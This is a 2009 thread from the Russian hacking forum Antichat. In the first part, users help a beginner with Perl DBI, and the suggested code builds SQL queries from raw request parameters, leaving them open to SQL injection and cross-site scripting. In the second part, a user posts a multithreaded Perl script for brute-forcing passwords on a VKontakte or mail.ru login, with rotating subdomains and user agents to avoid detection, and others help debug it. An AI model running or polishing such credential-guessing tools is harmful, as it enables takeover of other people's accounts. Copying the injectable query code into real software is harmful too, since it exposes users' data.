Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

30.08.2009, 00:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Прочти описание метода do и вопросы отпадут
|
|
|

30.08.2009, 00:32
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме: 62180
Репутация:
0
|
|
Сообщение от PvgValo
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result = $result->fetchrow_hashref();
при использовании prepare выводится значение DBI::st=HASH(0x198c884) ,а когда остальные появляются ошибки ... 
|
|
|

30.08.2009, 00:46
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
омг
do() используется для запросов UPDATE и INSERT и тп, так как возвращает результат запроса (1=ошибки нет, 0=ошибка)
Юзай prepare(),execute() и fetchrow_hashref
Последний раз редактировалось Spyder; 30.08.2009 в 00:49..
|
|
|

30.08.2009, 00:52
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
$fileid= $result->{file_id}
|
|
|

30.08.2009, 00:59
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме: 62180
Репутация:
0
|
|
тогда почему при использовании prepare мне выводится значение не поля а DBI::st=HASH(0x1a2c884),использую execute выходит ошибка Can't locate object method "execute" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13.,использую fetchrow_hashref выходит Can't locate object method "fetchrow_hashref" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13. ..ЧТО ДЕЛАТЬ?ДА Я НУБ!!но что делать? 
|
|
|

30.08.2009, 01:08
|
|
Участник форума
Регистрация: 01.08.2009
Сообщений: 169
Провел на форуме: 1353033
Репутация:
113
|
|
Вот! Если не ошибаюсь, должно быть так! НЕ судите строго если ошибся...
Код:
#!"D:\perl\bin\perl.exe"
use DBI;
use CGI qw/:standard/; use CGI qw(param);
use CGI::Carp qw(fatalsToBrowser);
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr;
print "Content-Type: text/html\n\n";
my $view=param('id'); my $video=param('v');
my $title=param('t');
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'");
$result2->execute();
$result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'");
$result3->execute();
my $result_file = $result->fetchrow_hashref();
my $result_video = $result2->fetchrow_hashref();
my $result_title = $result3->fetchrow_hashref();
print "<center>$result_video->{video_id}</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'>
</script>
<div id='mediaspace'>This text will be replaced</div>
<script type='text/javascript'>
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')
so.addParam('allowfullscreen','true')
so.addParam('allowscriptaccess','always')
so.addParam('wmode','opaque')
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}')
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg')
so.write('mediaspace')
</script>
</center>";
print "краткое описание $result_title->{title_id}";
$dbh->disconnect();
Последний раз редактировалось PvgValo; 30.08.2009 в 01:14..
|
|
|

30.08.2009, 01:19
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме: 62180
Репутация:
0
|
|
СПАСИБО!!!буду изучать дальше perl
|
|
|

09.09.2009, 22:01
|
|
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме: 31294
Репутация:
0
|
|
Здраствуйте,
Пробую переделать скрипт для брута вконтакте, вроде всё правильно сделал, но при запуске получаю ошибку:
Thread 3 terminated abnormally: Can't use an undefined value as a symbol referen
ce at qw.pl line 32.
Вот код скрипта:
Код:
#!/usr/bin/perl -W
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
$dic = "passl.txt"; #паслист для брдутфорсера
$login = 'login';
$threads = 4; #количество потоков
@prefixes = ('as','sd','df','dff','fg','gh','hj');
@agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');
open (pass1, "<$dic");
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
my $random = int(rand(6));
my $prefix = $prefixes[$random];
print("random: $random prefix: $prefix pass: $pass\r\n");
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80);
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".
"Host: ".$prefix.".mail.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: ".$agents[$random]."\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
print "$login : $pass\n";
exit;}
}
}
sub pass
{
my (@mas);
while (<pass1>){
push @mas, $_;
}
chomp @mas;
close pass1;
return @mas;
}
Если несолжно, подскажите пожалуйста в чём ошибка, и как исправить?
p.s. mail.ru вписан просто для примера 
|
|
|

09.09.2009, 22:22
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Попробуй замени
PeerAddr=>"http://".$prefix.".mail.ru"
на
PeerAddr=>"mail.ru"
|
|
|

09.09.2009, 22:25
|
|
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме: 31294
Репутация:
0
|
|
Но мне как-раз нужны эти префиксы, и чтобы при каждом запросе они были разные (случайное число из рандома) и user-agent тоже нужно чтобы случайный был :/
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|